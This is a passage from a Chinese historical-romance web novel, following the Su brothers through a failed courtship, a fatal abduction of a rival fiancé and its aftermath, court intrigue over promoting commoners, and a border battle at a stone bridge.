不由倾了身,追问:“怎么回事?她怎么会……”
宁伯叹道:“一开始就是于大夫说,您的身体不能再住水边,让老奴去想办法。后来看宅子,自己也跑了好几趟——看朝向、看干湿,看采光,最后才荐了这一处。”
看着主子仍一脸不可思议,又慢慢道:“还有——”
实在有些不忍心,“她说,下个月要和左大夫成婚了……”
20. 婚事
傍晚的草庐小间,透着天光。
二人桌上,照例一侧是大荤重油,另一侧则是粥配小菜。
苏骏这日破天荒地只吃了两口,眼睛盯了另一个人半晌,最后放下筷子,结论:
“哥,你不对劲。”
苏昀手里捧一碗小粥,正淡定地夹菜。 “什么意思?”
“吃饭太乖了。”
“……”
苏昀动了动筷子:“好好吃你的。”
苏骏才不肯放过:“能吃下一整碗,有荤有素。”
继续掰手指,细数他的“罪状”:“喝药利索,睡觉也准时,看不完的案子会推到第二天。甚至开始提拔人手,下放办事权……宁伯还说你胖了两斤!”
“……你是见不得我好?”
苏骏摇头:“不对,你有事。”
整个人前倾,双臂压住桌面:“你跟我说,怎么回事?你不是答应我,得说实话的?”
“没有事,你别胡想。”
苏骏眉头紧皱:“司马瑞使绊子了?有人弹劾我了?还是——”
左右看了一圈,“新家住得不舒服?我就说阿敏找的这破院太小,你等着我明天给你重找……”
苏昀一叹,放下碗:“真的没有。怎么,合着只能你改好,我不能改一改?”
苏骏抓着头发:“可是……”
这么正常的兄长,实在太不正常了!
苏昀见他冥思苦想,非常苦恼的样子,只好放缓声去劝:“别想了,我好着呢。把饭吃了,一会儿我们去散个步,好吗?”
苏骏猛地抬眼——这人绝对,有,问题!
.
苏骏回家的时候,整个人垂头丧气,直接往床上一倒。
宋依依有点奇怪,过来问:“怎么了?和你哥吃个饭,吃没劲了?”
苏骏把头埋在枕头里,不想说话。
宋依依在床边坐下,摸他的背:“你哥又说你了?没事,过两天就好了……”
“我倒是想他说我。”
苏骏闷声道,抬起头,“他肯定是出大事了,要出家了,或者得绝症了,说不出口那种……”
眼圈居然有点红。
宋依依哭笑不得,赶紧劝:“不会吧?我看他挺好的啊。”
“就是太好了,才不对……哎,说了你也不懂……”
苏骏又把头埋进枕头,整个人阴云笼罩。
宋依依自知劝不动,只好出门去搬救兵。不一会儿苏敏就蹦跶进门了,一边吃着桂花糖,“二哥,你干啥呢?”
苏骏死尸一样地趴着。
苏敏叭唧地吃糖:“依依姐说你担心大哥?他没什么事啊,我看着呢。”
苏骏埋在枕头里,摇了摇头。
苏敏想了想:“要非说有点什么,最多就是于姑娘要成婚那事吧?”
又甩了一下手,“哎呀,那个小事!大哥忙得很,郁闷几天就过去了。没什么好担心的……”
苏骏侧过身:“啥?”
苏敏一看他就瞪眼:“哇塞,你哭了啊?”
苏骏才没空理,立刻坐起来就问:“什么于姑娘,你说详细点。”
苏敏上下看他:“不是吧?你一天到晚盯着大哥,没发现?”
看对方确实一脸懵,解释道:“他喜欢仁心堂那个于大夫——就是那个刺杀的时候,跟他一块儿那个姑娘啊!你不知道啊?”
苏骏听了只觉五雷轰顶。
我哥,那个冰山,会,喜欢女人?怎么可能?
“你不是开玩笑吧,阿敏?”
“没开玩笑啊,之前他不敢追,我还帮着送了一阵花呢。可人姑娘是真绝情啊——可怜我大哥,为救她命都差点搭进去了,人还是一定要守婚约。哎,这回是真没戏了……”
苏骏脑子嗡嗡地转了一会儿,终于噌地起身,往外走。
苏敏在后面喊:“哎!你去哪儿啊?”
苏骏叫:“去问问他!”
.
苏敏撇了一下嘴,耸耸肩。
宋依依叹气:“阿骏什么都好,就是太把他哥当回事了。”
苏敏道:“依依姐你别介。二哥就那样,重感情,自家人都护得紧——他也很在乎你呀。”
“我不是为自己,是他现在成天装乖、又看脸色,多累人啊。”
“但依依姐,你也要往好处看啊。”
“什么好处?”
苏敏一脸古灵精怪的笑,凑过来,压低声音:“他正跟奶奶商量,要三媒六聘娶你为正室呢……”
宋依依一怔:“阿敏,你别拿我寻开心。”
苏敏立马摆出正经脸:“真的!我苏小敏,建康第一小红娘,牵线无数,从不骗人!”
又道:“聘礼都在张罗着了,二哥还打算来个大场面,好好跟你提这事。”
说着打了个舌响,挤眉弄眼:“到时候你就装作不知道啊,我可什么都没说!”
宋依依怔怔站了一下,忽而低眉一笑:“我才不信,你胡扯。”
说着转身要走。
苏敏笑道:“哎你跑什么,这不是你房间吗?要走也是我走呀……”
.
草庐这一头,苏昀好容易送走了缠人鬼弟弟,回到书桌前。刚翻了几页卷子,摸了杯茶喝,那团风火居然又冲了回来——“哥!”
苏昀抬头:“嗯?”
苏骏气也没喘匀,就问:“阿敏说,你喜欢仁心堂那个女大夫,是真的吗?”
苏昀立刻被呛到,咳了起来。
苏骏忙去拍背:“别急,慢点说。”
孰不知他那大手劲,一掌下去,把人拍得又呛了一口。
苏昀半边背发麻,只得一边默默挡开,一边强忍气道: “咳,没事。”
抬起头,看见那灼灼的目光,便知自己今天是逃不掉了。
“这个嘛……”
他想了一下,最后
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决定坦白,“算是吧——不过也不重要了。她下个月成婚,我还备了贺礼呢。”
语气轻描淡写。
苏骏却感到脑子里又轰了一声。
居然是真的,居然直接就认了——这是我哥?
他不由呆了一会儿。
苏昀看这呆瓜,挥了挥手:“哎,你没事吧?”
呆瓜“啊”了一声:“没。”
然后转身,同手同脚地出去了。
苏昀无奈,心想有这么惊讶吗?
又扬声道:“你别跟阿敏似的到处讲。人成婚要好好的,别打扰她。”
苏骏远远地“哦”了一声,便彻底出门了。
苏昀一笑,摇了摇头,又捡起卷。
低头忽见掉出一只小木签,是她亲手封过的药签,不由微顿。
而后将那签放进笔筒最底层。发出一点轻响。
便再次埋首到纸堆里去。
.
说是不管,怎么可能?
苏骏当即召了一帮手下,把左幼伦的底翻了个底朝天。而城中另一头,于茵也把最后一本书放进箱子里,正要抬起——
后面的人立刻叫:“放放放,别动啊!”
自然是左幼伦。他三步并两步地冲来,将那箱书抢到了手里,口中还念道:“你腰又不好,叫一声,放着我来嘛……”
于茵只能任他将书箱抬了出去。一侧身,又见于思成抱着个半人高的水车模型,吃力地往外走。她赶紧去拦:“这个就不带了吧?这么重,新家也没地方放……”
于思成却别开身:“不行!这是苏哥哥送的礼物,怎么能不带呢?”
于茵叹道:“那是送给义学当教具的,不是只给你一人——”
于思成抱得更紧:“可后来学里又买了新的,这个旧的我好容易才抢回来,还修好了。现在当然是我的了!”
于茵无奈,只能去搭把手:“好吧,你要带就带吧……”
左幼伦进来看见,自然又道:“你们都放下,我来。”
便一把接过了那件大玩意,抱在怀里,口中还嘀咕:“这啥呀……”
于思成叫道:“缩尺水利模型,义学讲过的!”
“好好。”左幼伦没再多问,便抱着出去了。
于茵回过头,只见家中物件已清得七七八八,屋里空空荡荡。箱匣上叠着的大红凤冠霞披,便格外地耀眼。
她静了一下,才又低下眉:“幼伦,还有两箱放得下么?”
没人回答。
于茵便走出去:“幼伦?”
院外那辆平板车停得好好的,箱匣堆得整整齐齐——却不见人影。她有些奇怪,去问门口卖菜的老妇:“张姨,刚才看到幼伦了吗?”
老妇答道:“哎,刚有人来找,说药铺有急事,他就赶回去了。”
于茵自然谢过人便回屋了。
没留意到:地角的缝隙里,正静静躺着一个灰色药囊。
21. 破裂
一个美好的清晨。
苏敏醒来,听到鸟儿叫,阳光明媚。
十分欢快地下床,便哼着小曲儿收拾,一边心里点指兵兵,想着戏楼、绣坊、糖坊、画肆,今天该去哪里玩。叫人来:“小翠,去问下三妞四丫,上回的扇面还接着绣么?”
说的自是顾家的两位千金。
侍女应了,又道:“小姐,今儿一早后门那边来了个姑娘,说是姓于的,要找您。”
哇塞!苏敏一个激灵,立刻跳了起来。
转机,转机!
火速洗漱,更衣,一溜烟地应出门,嗲声叫:“于姐姐——”
情形却和她想的不大一样。
于茵神色焦急,眼下泛青,显然彻夜未眠。忙忙地给她行了一礼:“苏小姐,打扰了——”
苏敏忙去扶她:“姐姐别这么说,可是出什么事了?”
于茵语气急促:“是,左幼伦不见了!我和阿成找了他一天一夜,药铺没去,家里也没在,能问的人都问了,官衙也推来推去。我实在怕他出事,才想着你能不能帮忙......”
苏敏先是一愣:“不见了?”
转而想了想,又道:“没事,这事包在我身上——肯定能找回来!你等我消息!”
.
辞了于茵,苏敏立刻风风火火地冲到二哥房间——“二哥!”
苏骏人还没醒,趴在床上打呼噜。硬是给她薅了起身,听妹妹叽里咕噜地讲了一串,一个字也没进脑子,倒头又睡:“阿敏啊。难得今天休朝......让我睡、睡会儿......”
打了个嗝,又把被子盖头上了。
“睡啥啊!你老实说,左幼伦是不是给你拐了?于姑娘都找上门了!二哥啊——”
苏骏好容易给她弄醒,坐了好一会儿,才慢慢道:“什么人啊?”
苏敏差点给他气昏:“左、幼、伦!我还要说几遍?”
苏骏道:“没有啊,谁啊?跟我有啥关系?不认识。”
说着就下了床。
苏敏瞬间识破:“真是你啊?快快,赶紧把人放了,不然大哥知道了会气死的!”
苏骏全当耳旁风,慢腾腾地洗脸、穿衣,一边咕哝道:“不知道你说啥......”
又连打了两个哈欠:“呵,还好困......苏昀是怎么做到每天,呵,每天上朝的......”
便拖着步子、无精打采地往外走。
此时两个中将火急火燎地闯进廊下:“将、将军!不好了!”
一大早的,个个都疯了吗?
苏骏被吵得心烦,骂道:“有事说事,吵什么!”
谁知那两人急得满头是汗,半天凑不出句话来,最后索性扑通就跪下了——
“将军,左、左家的那个......死了......”
苏骏没听懂:“啥?”
苏敏却听得真真切切,追出两步,瞪大了眼:“什么?死了?”
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苏骏不知道自己怎么是把两人暴揍一通,又是怎么冲到军营、看到了死尸。整个人从头到脚都是懵的,根本想不通——
这怎么可能呢?
是,他是让人“请”了进门,开了条件,拿刀吓了他一下。而那死呆子哆嗦成了筛子,却怎么也不肯悔婚约,还嚷着苏家仗势欺人。
是,当时火气上来也确实给了他一拳,但绝对、绝对是正常人能承受的范围。
而且,他走的时候不是交代了——“当心点。留命,别留痕。”
怎么会死?那东西是纸做的吗!
底下几个哭求道:“小的们不过是捡最轻的刑具过了一遍,水刑、针刑都很顺利。谁知到烟刑的时候,才灌了几口就喊要死了,还发出那种奇怪的鸟叫。”
“底下这才明白过来,那小子是天生有喘症!赶紧去救,可是就——就没来得及了。”
又连连求饶:“小的们不是有心的,这是意外啊!将军饶命,饶命......”
同样的话,他能讲给兄长听吗?
他不是故意的,是意外?
不是他干的,是他们!他根本没碰过那个家伙......不——
不,不!
苏昀不能知道。绝对、绝对不能知道!
正当他狂乱地要毁尸灭迹,苏敏却拉住他,带着哭腔,轻轻道:“二哥,盖不住的。你这样做大哥只会更伤心......”
“不,我可以!”
苏骏双手死死地捏住妹妹的肩,双目血红,“阿敏,只要你不说,我就能让人信他跑了!尸体我会烧干净,烧成灰!没人会知道,苏昀更不会......你答应我,答应我!”
苏敏只是泣不成声。
已经太晚了,一切都太晚了。
苏昀来的时候,尸体刚烧了一半,立刻被皮肉焦黑地拖了出来。只看了一眼,他整个身形就晃
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了起来,按着胸口,急促地喘息。
“哥!”苏骏立刻去扶。
苏昀一把推开他,颤抖着怒吼:“这就是我信你的代价?”
又吼,“滚!我不想,再看到你!”
.
接下来的日子就像死灰一样。
他在帐外等了一整天,令人去办最好的棺材等物,巴巴地送去,兄长只当看不见。他不敢用半点的强,更是担心他的身体,只能远远地跟着,再三叮嘱宁伯报信。
回到家沮丧之极,宋依依来宽慰:“他那是气话,等这一阵子过去了就好了。”
可万一不呢?
他一晚上没睡地胡思乱想,天不亮又叫下属去左家看、送殡礼,把害死人的几个兵将押去赔罪,让他们处置——可谁又敢动他的人?
他去草庐长跪,被赶出门。托妹妹、奶奶和族中长辈去说,人人都被回绝。
回过头来,听说兄长再次病倒、烧得起不来床。他急得要命,让妹妹带大夫过去照料,又送最好的参料,还不许透露是自己的意思。
如此挖空心思地忙活了许多日,始终没有半点进展。
他咬咬牙,去找于茵:“你捅我两刀,是死是活,我都认。”
于茵只看了他一眼:“滚。”
他恍惚地走出门,他还能做什么?
什么都没有用,也许兄长是真的不要他了!
他走到草庐,微颤着手,把虎符交给宁伯:“告诉他,我什么不要了——只要他原谅我。你让他告诉我,我该怎么做......我什么都听他的,赔命吗?我可以......”
只要他回来!什么都可以!
他垂着头,在门外等着,像是足足等了一生一世。
终于吱呀一声,大门打开。
宁伯走出,缓缓道:“公子说——”
苏骏抬眼。
宁伯一叹,重新掏出虎符,交到他手上。“‘兵权你拿着。不是——’”
顿了顿,“‘不是因为你配,是因为苏家不能倒。你拿着它,走。别再回来。’”
苏骏静了许久,方轻声道:“好,知道了。”
便转身要走。
“二公子。”宁伯追了一步,劝道,“您这一错,他一时接受不了。但人心是活的,日子也还长。还望您不要自弃,好好珍重才是。”
苏骏没什么情绪,只道:“谢谢。”
便慢慢走了。
22. 告别
于茵一身缟素,长跪。
看着那口棺被人抬入土坑,一掊土、一掊土地盖上去,只觉一切都不真实。
分明几天前还生龙活虎的人,还在替她搬家,笑宴宴的。
还与她商议:“这间可以给阿成住。还有这间可以改书房——这样你晚上写诊卷,就不用在仁心堂呆得太晚......”
再见面时,却只剩一具焦黑无主的尸体。
大理寺那头还归着“失踪未结”,无缘由、无解释,连牌位都立不起来。
左家只来了几个本家亲戚,左老夫人哭得死去活来,跪在坑边打滚:“幼伦呐,你这是哪门子的死法?好好地正要成婚,怎么一转眼就......你要我这个老婆子怎么活呀?”
有人在旁叹气:“家门不幸......也不知是招了什么孽。”
左老夫人眼一红,忽地抬头喊:“怎么不知道!就是他,他苏——”
众人脸色大变,忙拦道:“老太太,您少说两句吧!”
又压低声:“那些人就在旁边盯着呢。逝者已逝,您也得为几个小的着想啊......”
左老夫人看了眼跪在身旁的两个小儿子,随即又哭了起来:“幼伦呐,我不活了......我真的不活了......”
入土之后,亲友们一一洒泪拜过,烧了纸,端上供品。
两个小儿子扶着左老夫人回去,又招呼于茵:“天色要暗了,于姐姐也回吧。”
于茵低着头:“我再陪他一会儿。”
有人劝她:“于家妹子别守啦,你都多少天没合眼了!回去睡一睡,不然幼伦在天上见了,也会心疼的......”
于茵只是摇头,轻轻道:“我是他未过门的妻。我......欠他的。”
一低头,似乎又掉了泪。
众人皆是唏嘘:“真是好姑娘。多好的姻缘啊!幼伦怎么就没福呢。哎......”
一个个拍了她的肩,“别呆太晚,天黑了路不好走。”“一会儿回去吃饭啊,给你备了筷。”
于茵一一应了。
人渐渐散去了。
山风一阵阵吹来,冷得透骨。不知过了多久——
有人走过来,弯下腰,轻轻地在坟前放下一束白花。
他敛衣拜了三拜,又跪了一阵,便慢慢起了身。
于茵忽问:“你没有要说的吗?”
苏昀沉默了一下,最终艰涩地道:“对不起。”
这么简单的一句“对不起”,就像针一样刺在两个人的心上。
可他还能说什么?
是他错信了人,毁掉了她的生活。
然后又亲手压下真相,让无辜的人含冤入土,一并埋入了良知与公义。
于茵却道:“不是你做的。是苏骏,对吗?”
苏昀默然了一下:“是我。”
怪在他身上,总比怪在弟弟身上稳妥。他可以,承受。
于茵看着他:“你知道我不会信。”
苏昀垂着眼。千言万语,又只能化为一句:
“对不起。”
二人良久地沉默。只有风吹过。
是怎么走到这一步的?
于茵不会忘记,在她最艰难的时候,是那个人带来了救命的义药、安慰和希望。也不会忘记,在那个雨夜,只有一把伞,该送不该送的时候——
他憋红了脸,问她:“我可不可以......”
她握住了他的手。
他从一而终地爱护她,是她在世上最不能辜负的人。可是她——
“你该走了。” 于茵轻轻地道。
苏昀微顿:“好。”
“我们以后,不要再见了。”
“......好。”
于茵看见他离去的背影。那么瘦,摇摇欲坠。
心里念了一声:珍重。
.
风声压住,人心未平。
下葬之后,左家但愿意的,被一一迁至外州,皆得优厚安排。
左老夫人本不肯离开,却也住着日日伤心。在家人的再三劝说之下,恋恋不舍地将铺子租出,同几人一道踏上离城之路。
临行前,左家三伯拉着于茵,语重心长道:“你还年轻,也不欠左家什么。以后再遇到好的,千万别耽误了。”
于茵只能苦笑:“三伯,我欠他的,几辈子也还不完。”
左三伯叹道:“小小年纪,怎么死了心呢?日子还是要过的,人得往前看啊......”
远处传来左老夫人的唤声:“老三,老三你在哪儿啊?”
左三伯应道:“哎,来了!”
又拍了拍于茵的臂,“记住了啊。”
于茵看着那一车子的人离开,那么善良。他们使劲地向她挥手。
她站了好一会儿,才终于转身,轻声道:
“阿成,我们也该走啦......”
.
“真的要走?”
掌柜满脸愁容:“于大夫,仁心堂没有你,可怎么办哪?”
于茵背着一个包袱,低眉道:“义诊体制已运转三年多,李大夫、曲大夫都熟悉流程。少我一个,不会出乱子的。”
“可是......”
于茵声音低下去:“真的对不起。”
掌柜的看着她那一身新丧的白衣,神色一黯,最终没有再劝。
他叹了一
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口气,从抽屉里找出一枚木牌:“仁心堂在青州也有分馆。那地方苦寒,你去了以后万一有事,就拿这个去,他们一定会帮你的。”
又摸出一包银钱:“这些是馆里几位同僚凑的盘缠。你收着,路上好用。”
于茵默然了一下,接过:“多谢。”
一一别过众同僚,她回到后院:“阿成,你好了吗?要出发了。”
一群小孩子正围在一起,听到她的声音才散开。
于思成慢慢走出,捏着衣角,眼圈红了:“阿姐......”
于茵看他手里空空的,皱眉问:“你的东西呢?怎么没拿上?”
于思成抬头:“我不想去青州。”
“别闹了。”于茵语气一紧,“你不跟着我,一个人怎么行?”
于思成突然大声:“我不是一个人!”
又拉着其他的孩子,“小哲、阮阮、阿山都和我在一起。我想读书,我才刚读到《孟子》的第二篇......我、我还想考学!先生说我再加把劲,明年可以去童子试!”
于茵叹了一口气:“阿成,你从来都坐不住,也不喜欢读书。”
“我喜欢,我真的喜欢!”
于思成涨红了脸,“我做梦都想变成像苏哥哥那样的人——能帮很多很多人!”
其他小孩也涌了上来:“是啊于姐姐,思成可以和我睡一张铺——我会照顾他的!” “还有我,我会监督,要是他不好好用功,我就打他屁股!”
于茵闭了闭眼,神情复杂。
阿山走上来,行了一礼:“于姐姐,思成真的很聪明。先生说他动手快、悟性也高——水利刚讲第一章,他就能一个人拆装水车模型了。这时候断学,真的太可惜了。”
于茵仍是不语,于思成便上来拉她衣袖:“阿姐......”
她终于开口:“好吧,那你要保证,每十天写一封信。”
于思成破涕为笑:“好!我每天都写!”
众人将她送到门口。她回头望了望,那些熟悉的人,熟悉的屋檐、牌匾,她亲手刷过的墙,搭过的药灶......
终究还是狠下心,转身离开。
身后忽传来一声哽咽:“阿姐......你能不去吗?”
她脚步一顿。片刻后回头,露出一个勉强的笑:“我会回来看你的。”
说罢再不逗留,大步离去。
只留下于思成呜呜地哭出声来。
小伙伴们都围上来,安慰他:“思成不怕,我们护着你。”
为什么人要生离,要死别?
阿山轻拍着他的背,低唱——
“长亭外,古道边。芳草碧连天......”
23. 无名人
永安阁。
琅琊王放下奏章,皱起眉:“这是……”
又道,“许生,你来看看。”
许生正在他身后,轻轻地锤肩,低眉道:“奴才一介伶人,不懂政务,更不敢看。”
琅琊王挥挥手:“本王让你看,你就看!”
许生这才柔声应了“是”。
便施施然上前,将奏章从头到尾细细看了一遍,才放下。
“苏司徒奏请,今后三千及上调兵,须由中书三印之中两印同署,即是苏、顾、戴三家。另外战备物资,纳入月度稽查,以防微杜渐。”
琅琊王微眯着眼:“这样一来,兵权虽还在苏家手中,却是层层掣肘。如此自缚,你说他到底图什么?”
许生笑了笑:“连主上都看不明白,奴才又岂敢妄猜?”
琅琊王叹了一声,又将奏章翻来覆去地看。
边看,手里边转着玩石。似是想从字缝里揪出什么线头来。
许生退回原位,捶背之时轻声一叹:“要是政事都像人情那般简单,就好了。”
琅琊王“呵”了一声,随口道:“瞧你这口气——人情也不简单啊。”
许生笑:“是奴才妄言。只想这事若在戏里,多半是小两口拌嘴、心里还在意,才闹得旁人不得安生。可放到政事里,奴才可就不懂了……”
琅琊王蹙了眉:“你是说,他们兄弟生了嫌隙?”
许生轻轻地“啊”了一声:“奴才只是说戏……”
琅琊王用手指点了点他:“你这嘴啊,净爱打花腔!”
侧目叫人,“来人,查查苏昀、苏骏最近见面几回,是否言语不合。越细越好!”
侍从应了,便匆匆而去。
琅琊王定了定神,又摸了一本奏,翻开,却还是论三印调兵的事。
再翻,还是。不由怨道:“如今这折子是越发没意思了——但凡动点筋骨的事,都是苏昀一折,后面跟了十几个复议,颠来倒去一个意思。还要本王干什么!”
许生一笑,也不回答。
琅琊王连翻了几本跳过,终于看到了一个新鲜的,挑眉:“呵,周祺这就死了?也太不经事了吧!”
便往椅背一靠,叹道:“本王不过给他调了几回职,意思意思敲打一下。转头他夫人就病死了,不到一个月,他自己也吞石——就这点气性,堪什么用呢!”
许生劝慰:“周大人虽去了,周家人丁却不少,或许还有能用的呢?”
琅琊王摆摆手,不耐道:“得了,让那帮娇贵的留在乌程种田吧。哪天缺人,再把他们捞出来也不迟。”
“若是要不娇贵的……”
许生寻思了一下,微笑:“怕就只剩下挑夫走卒、寒门庶子了。”
“那些寒门士子,已经被苏昀网去了一大篓。剩下的只怕书都没读过,能顶什么用?”
许生声音温润,不急不慢:“挑夫走卒未必上过学堂,却也有干练通透之人,只是藏得深一些。好比上回奴才奉命去书库取文,就看着一个抄书匠写得又快又整,一人能做旁人两倍的活儿,也不多要俸禄。心下想着,这样的人,恐怕也是有点来历的。”
琅琊王“哦”了一声,随口问:“是什么人?”
许生想了想:“好像姓陈,叫陈方。奴才当时看他抄字,有注名来着。”
琅琊王道:“行啊,能干,那就升他个……”
顿了顿,似一时想不起书库那清净地,都设些什么官职。许生已察觉,并从旁递了上来,“主上可要看看官簿?”
琅琊王接过,翻了两页,指着书库下设的一栏:“典籍、佐书、簿书令……那就补他个‘佐书’试试吧。”
.
许生跨出宫角门时,正值午市。
街上人来人往。摊贩吆喝声此起彼伏,热气、香味、汗气都腾在空中。
有人认出他,远远地打招呼:“许先生又采风啊?”“吃过了吗?”
他只是点点头,笑而不语。
路经官衙门口,有人正趴在告示栏前抄文。
那人一身文人袍,衣衫却很旧,打着补丁。垫片的纸折了几折,覆在告示框边一点点的空位上,一笔一画,抄得认真。
许生上前问:“你抄这个做什么?”
那人道:“帮人写诉状。”
许生道:“我也正巧有状上告,你有没有样本,可以给我看看?”
那人便从怀中取出一份三折的纸,递过去。“这是今早刚写的,还没交货。”
许生接过来看。只见状书条理分明,论证严谨,三句一引《典刑》,五句不离《法纲》,落到结论处,端地是明明白白,令人驳无可驳。
“写得蛮好。我要状诉邻人圈我三尺地,得收多少状费?”
“那个半日就成,按市价,收你十文。”
也就是几个馒头的钱。
许生摸了几个铜板递去:“把你的名字、住址给我。这里五文做个定金,我回去细量了尺寸再来找你。”
那人自然应了
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“好”,便在一张便条写了几笔,递回去。
许生念出来:“田尚。”
收入袖中,微笑:“我记住了。”
.
此后过了多日,田尚又忙了大小十几桩讼事,却始终不见那“邻人圈地”的诉主来找。心怕他是迷了路,刻意每日同一时辰,在衙门前多逗留些时刻。
这日回到住所,却见门前挤挤嚷嚷地围了许多人——
中间两个,竟是宫中传令官的打扮,正向街坊打听:“哪个是田尚?”
人们见他进门,皆道:“就是他!”
田尚从人群中挤出,作了一礼:“大人这是……”
传令官不急不缓,从袖中取出一卷黄册子,展开便读。“奉主上亲令,传旨田尚——”
田尚虽满腹狐疑,也只得先跪下,行大礼。
只听传令官宣道:“田尚,素有正气,近有陈词数篇,法理俱当。今授大理寺佐判一职,准赴任即行。欽此!”
众人一片哗然:“大理寺!”“这……这怎么回事?”
田尚比他们震惊得只多不少,诚惶诚恐地接了旨。起身又拱手,压低声问那传令官:“我田某一介草民,敢问大人,可知主上是怎么知道我的?”
传令官似是习以为常,淡定道:“这个小的也不知。不过——”
说着,又从袖中摸出一物,轻轻放入他手中:“宫里有人托小的转交,说大人上任第一案,就算是替他断的。钱货两清,不必再寻。”
田尚张开手,只见是几个铜板。
不多不少,正好五个。
.
又有调动。
顾荣放下案卷。
全是名不见经传的寒门庶子,一跃进入各署。多是任小吏之位,却都是能干实事、能上升的位置。如此谨微,甚至他一开始都没察觉。
“还是那个许生?”
长孙在旁递上茶盏,一边道:“是,但那人怪得很。有人去谢,一概说不记得,恭喜几句便打发了。私底下还说,自己是无名之人,不消人记也不用还。”
为寒门开路的无名人。
顾荣沉吟了一会儿,拿起茶盏:“苏家怎么说?”
“苏司徒身上不大好,只让人盯着许生,说新吏里有本事的就让他上,不必去压。苏将军刚带兵出城,说是去江北巡防,也没什么话。”
顾荣垂眼饮茶,慢慢道:“南党式微,苏家离心,寒门抬头——”
抬眼一叹:“只怕,江南又有变了。”
24. 流民帅
春去秋来。江北嘉陵一带。
日暮将尽时,山头上有几人正伏身眺望。“三一、三二……大帅,桥南能看见的有三十来人。桥北全是密林,就看不清了。”
有人“嗯哼”了一声,胡乱咬了口干粮:“桥北不管他——苏骏带八百人去攻,怎么也够了。咱们只管南边这头。”
又问,“东西都备好了吧?大鼓、回声桶,点烟的干枝,还有啥……”
底下人答:“还有十来个手炮。”
指挥的人应了:“行,两人分一个。记着,干完就跑,绝不恋战。”
“好的嘞。”
指挥的人再次伏好了。
等待的时候,时间总是过得很慢。
他回想起那个披大红军甲的人,单枪匹马进到青山坞里,轻飘飘地问:“合作?”
合作啥?苏家麾下十八万大军,还用得着他祖奕,区区一个三千流民帅——俗称山匪头子?
“嘉陵石桥。”
苏骏淡定道:“三不管的破桥,往来军粮的咽喉,就在你青山坞脚下。刚被羯人驻军占了,只有一百来人。趁他没站稳,你我联手把它拿回来。”
你厉害,自己干不就完了?
“地头蛇,佯攻、点完火就跑的行当,没人比得过你。”
苏骏低头,拍了一块烟草。“我只要你拖住东南侧两刻钟,北面我带八百人正面推进,西南偏军二百接应。前后夹击,必能一夜之内拿下,解除你我后顾之忧。”
又把烟盒递去,“来么?”
祖奕嗤了一下。趴在山头,摸烟、倒进斗里,点火——
来,不然等到啥时候。
.
终于天色全暗了下来。
桥南营地炊火渐息,人人回帐休息,只余下几个守夜人靠着闲话。
一人用羯语道:“汉人皇帝咋这鬼多?匈奴杀了个,鲜卑杀了俩,自己互打又死了五六个,咋还有呢?”
另一人则道:“江北差不多灭完了,接下来就是往南走了——所以才让咱先占了这桥呗……”
正说着,突然东南林间,一声手炮炸响!紧接着鼓声雷动,火焰腾起,滚烟四散。许多人高喊:“杀——”
声势之浩大,仿佛千军万马冲来。
几个守夜人登时吓得一骨碌爬起来,敲锣打鼓——
“敌袭——敌袭——”
“东南起火了!”
“快去禀都头!”
.
眼看敌营乱做一团,先是往北营禀报的,不一会儿又是冲来南营增援的。转眼底下已堆了有四五十人。
祖奕令道:“回声桶再叠一倍,吓一吓,别让他们上来了。”
底下应了就去。
已过了一刻半钟。
祖奕一边记着时间,一边拿目镜观测。西南侧仍无动静,北面敌营忙于备战,灯火全亮。正要挪开目光,忽然扫见——
等等。
桥下那啥?
在黑水湍急、十丈来高的北岸边,有一群着暗衣的人正用钩索向上急攀!
祖奕吃了一惊,立刻调整目镜细看去——
领头那人,戴着主帅军盔,一侧目,岂不就是苏骏本人!
祖奕把目镜一摔,恨道:“奶奶的,骗我!”
立刻喝令:“收档,全部藏进林里!”
流民们“啊”了一声:“那咱这鼓……”
“不要了,走!”
一弯腰又把自己摔的目镜捡了起来,翻身上马。临走前又看了一眼,那群人已经陆续攀上北岸,正悄然集结部队,一眼扫去约有百人上下。
根本没有什么千人大军,就是以百敌百!
还借了他三十人!
祖奕恨得牙痒,正要撤退。可是一拉马又想,他奶奶的,姓苏的要死这了,嘉陵一带自然被羯人吃死,到时大军来驻,他青山坞在眼皮下还有活路吗?
他拉着马,粗喘了两口气,最后咬牙切齿地令道——
“诱敌入林,战!”
.
这一夜,石桥火光四起,杀声不歇。
羯人被前后夹击,杀得措手不及,口中狂喊:“是江南军!”“说不清多少人,平地里冒出来的!”
又至苏骏一路杀入主帐,生擒敌方都头。对方连连作揖,用蹩脚的汉语求饶:“别杀,我、我降!”又传令下去——
“停手,全部停手!”
苏骏也不跟他废话,拎人出门,乘势一鼓作气占下石桥、焚毁敌旗。随即封死石桥布防,不许追击,任敌兵四散而逃。
待天大亮时,两岸已重新扬起了军旗,红底黄边,风里翻飞——
一个“苏”字。
“姓苏的!”
祖奕狂吼,大步冲了过来。
左右欲去拦,却被苏骏制止。“让他来。”
话音未落,祖奕凶猛的一刀已经砍来,直逼他门面。
苏骏侧身一避,正好擦身而过。自己反手起刀,正在对方第二刀落前险险地格住。
二人压刀对峙一瞬,祖奕怒目:“拿我的人搏命?你找死!”
紧接着便是狂风骤雨般一阵狂斩。
苏骏连连格挡,兵刀丁当狂响。左右看得心惊肉跳:“将军不出全力,只怕要吃亏!”
想上前帮忙,却被苏骏一声暴喝斥回:“都不许动!”
话音未落,左臂已被对方刀锋划开一道血口。他却只顾顺势逼近,左肘一顶,撞在对方手腕内侧。
祖奕登时手腕一麻,险些握不住刀。
苏骏迅速回身,脚下控人,右手一翻,竟并着自己的刀一气夺下对方的刀!
双刀叠着落地,当啷巨响。
苏骏道:“野路子,你打不过我。”
祖奕却喘着气,又扑了上来:“怎么,正规军了不起啊!老子打死你个!”
空手无刃,祖奕天生力大,竟比苏骏还猛。拳拳不要命,边打边骂:“什么脏东西,高门?贵家子?狗官胚子,不讲武德……”
苏骏被砸了嘴角,终于再不留手。肘、膝、掌并用,接连数招狠辣如斧劈。一时间只见二人缠在一起,打得满地翻滚。
祖奕吐了一口血,终于再动不了了。
苏骏自己也喘着气,扔了他衣襟,边起身边呸了一口:“想赢老子?下辈子吧!”
却一时脱力,踉跄了一下。
左右吓得赶紧来扶:“哎哟将军,可是伤着了?军医——快快,叫军医!”
苏骏指着地上那玩意儿:“治他,老子不用。”
便按着臂伤,一步步走了。
.
什么难缠玩意儿?
苏骏回帐,让随身兵处理伤口。大腿外侧皮肉翻起,血迹斑斑。相比之下——他昨夜百人中取敌首,连皮都没擦着。
他咬了咬牙,别开头去。
“将军这两天可别碰水,得少走动,最好是静养。”
静个屁。
羯人回过头来不反击吗?
